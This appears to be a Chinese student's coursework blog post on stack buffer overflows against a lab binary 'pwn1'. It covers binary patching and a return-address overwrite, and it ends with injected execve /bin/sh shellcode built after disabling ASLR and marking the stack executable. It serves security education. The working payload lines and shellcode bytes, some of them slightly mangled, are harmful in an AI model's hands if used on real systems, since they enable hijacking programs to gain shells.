20252811 2025-2026-2 《网络攻防实践》第九周作业

一、 实践内容

1.1 缓冲区溢出攻击基础与防御机制

攻击核心逻辑
缓冲区溢出攻击的本质在于利用程序对内存边界检查的缺失。当程序向栈中固定大小的缓冲区写入超出其容量的数据时,多余的数据会覆盖栈帧中相邻的内存区域。通过精心构造输入数据,攻击者可以覆盖函数的返回地址,使其指向攻击者控制的代码区域,从而劫持程序的执行流程。

防御技术概览

  • DEP :标记内存页为不可执行,阻止攻击者在栈或堆上直接运行注入的代码。

  • ASLR:在程序加载时随机化栈、堆及库函数的基地址,增加攻击者预测目标地址的难度。

  • Stack Canary:在函数返回地址前插入一个随机值,函数返回前校验该值是否被修改,以此检测溢出。

1.2 实践目标与环境

  • 目标文件pwn1

  • Kali虚拟机:更改主机用户名为本人姓名拼音

    1.00

  • 程序逻辑:主函数 main 调用 foo 函数,foo 函数使用不安全的 gets 函数读取用户输入。程序中隐藏了一个 getShell 函数,正常流程未调用。

  • 攻击目标:通过三种不同方式,强制程序执行 getShell 函数,获取系统Shell。


2. 实践过程

2.1 方法一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

原理:不利用漏洞,直接修改可执行文件的机器码,改变程序的逻辑分支。

  1. 准备工作:将原始文件复制为学号命名的副本(pwn20252811),并使用 objdump -d pwn20252811 | more 进行反汇编分析。


    1.00

  2. 定位关键点:在 main 函数中,找到调用 foo 之后的逻辑。原本的指令序列是 call foo -> add -> mov。我们的目标是让 foo 执行完后不返回 main,而是直接跳转。


    1.00

  3. 十六进制编辑

    • 使用 vim pwn20252811 打开文件,通过 :%!xxd 切换到十六进制视图。


      1.00

    • 操作:在十六进制视图中,将对应位置的字节,如 d7修改为 c3,使得函数返回时直接跳转到 getShell 的逻辑流中。


      1.00

  4. 验证:保存退出后再次反汇编,确认程序流已改变,运行程序直接获得 /bin/sh


    0.83

2.2 方法二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

实验准备:输入命令

sudo apt install gdb


1.00

使用gdb打开pwn文件

gdb pwn20252811_

1.00

输入r运行

1.00

原理:利用 foo 函数中的栈溢出漏洞,覆盖保存的返回地址,使其指向已有的 getShell 函数。

  1. 漏洞分析:使用 GDB 调试 pwn20252811。分析 foo 函数的栈帧结构,发现局部缓冲区大小为 0x1c (28) 字节,而 gets 允许输入任意长度字符串。

    通过改变输入来获得溢出规律

    尝试输入12345678*4 + 1234

    1.00

    得到溢出报错 34 33 32 31,查询可知分别为4321的ASCLL16进制代码

  2. 计算偏移

    • 缓冲区起始位置:ebp-0x1c

    • 返回地址位置:ebp+0x4

    • 填充长度 = (ebp+0x4) - (ebp-0x1c) = 0x20 = 32字节

      结合实践可得出结论,前32位填充,末4位会溢出到返回地址

  3. 构造输入

    • 前 32 字节:填充字符,12345678*4

      查看getShell地址

      0.92

    • 后 4 字节:覆盖返回地址。getShell 的地址为 0x0804847d,小端序表示为 \x7d\x84\x04\x08

  4. 注入攻击

    • 生成输入文件:perl -e 'print "填充" x 32 . "\x7d\x84\x04\x08"' > input_overflow

    • 通过管道注入:(cat input_overflow; cat) | ./pwn20252811

    • 成功获取 Shell。


      1.00

2.3 方法三:注入一个自己制作的shellcode并运行这段shellcode。

原理:在关闭 DEP 和 ASLR 的前提下,将一段自定义的机器码(Shellcode)注入栈中,并覆盖返回地址指向这段代码。

  1. 环境配置

    • 安装 execstack 工具。

    • 输入指令

    'wget [http\://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb](http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb) sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

    1.00

    • 设置栈可执行:execstack -s pwn202528XX


    • 1.00

    • 关闭 ASLR:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space


    • 1.00

  2. 调试定位

    • 首先准备shellcode测试文件,输入命令

    • perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\ x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89 \xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20252811

      上面的x90为空指令,这是 6 个 NOP。在漏洞攻击中,它们被用作“着陆区”或“滑行区”。只要程序的返回地址跳转到这些 NOP 中的任意一个,CPU 就会像坐滑梯一样一路执行下去,最终滑到后面的核心代码。

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

    • 这是真正的 Shellcode 核心。它是一段编译好的 32 位 Linux 汇编机器码。翻译成汇编语言,它的作用是调用系统的 execve 函数,最终在你的电脑上弹出一个 /bin/sh 交互式Shell

    • 随后输入指令(cat input_20252811;cat) | ./pwn1

    • 并额外打开终端输入 ps -ef | grep pwn1 查看进程ID,这里是49582


    • 1.00

    • 依次输入如下命令

    • gdb pwn20252801
      attach 49582
      disassemble foo
      break *0x080484ae

      1.00

    • 生成断点后输入r运行

    • 并输入info r得到栈顶地址ffffcf7c

      1.00

    • 计算Shellcode地址:Shellcode 紧跟在填充数据后,地址为esp+4 ffffcf7c+4 即ffffcf80

  3. 构造输入shellcode

    perl -e 'print "A" x 32;print "\x80\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\ xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89 \xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x58\xcf\xff\xff\x00"' > input_20252811

    前4字节为小端存储的Shellcode地址

  4. 执行攻击


    0.82


3. 学习中遇到的问题及解决

问题 1:对于更改输入引发溢出的攻击原理不明确

解决方法:多次修改输入格式,查看报错时的eip值与输入之间的联系以及其他值在输入溢出之后的变化,对规律进行总结进而解决

问题2:对于shellcode文件代码存在疑惑

解决方法:查阅资料,可知代码分为三个部分,中间部分为核心代码,意图为中断并进行系统调用,两端部分经过多次尝试,发现更改字节对于实验结果并没有改变,猜测如果输入正确的话,第一次ls命令不会出现乱码


4. 实践总结

通过本次实验,我深入理解了 Linux 环境下栈缓冲区溢出漏洞的成因与利用机制。在实践过程中,我熟练掌握了 GDB 调试器的核心指令,能够通过对程序进行反汇编分析,精确定位关键函数调用及内存布局。undefined 具体而言,我学会了如何通过计算栈帧偏移量来构造 Payload,并利用十六进制计算精准覆盖返回地址。同时,通过编写和注入 Shellcode,配合 NOP Sled技术,成功实现了对程序执行流的劫持。这一过程不仅巩固了我的汇编语言基础,更让我从底层视角深刻领悟了二进制安全攻防的核心原理。

posted @ 2026-05-30 17:35  dyf12345  阅读(22)  评论(0)    收藏  举报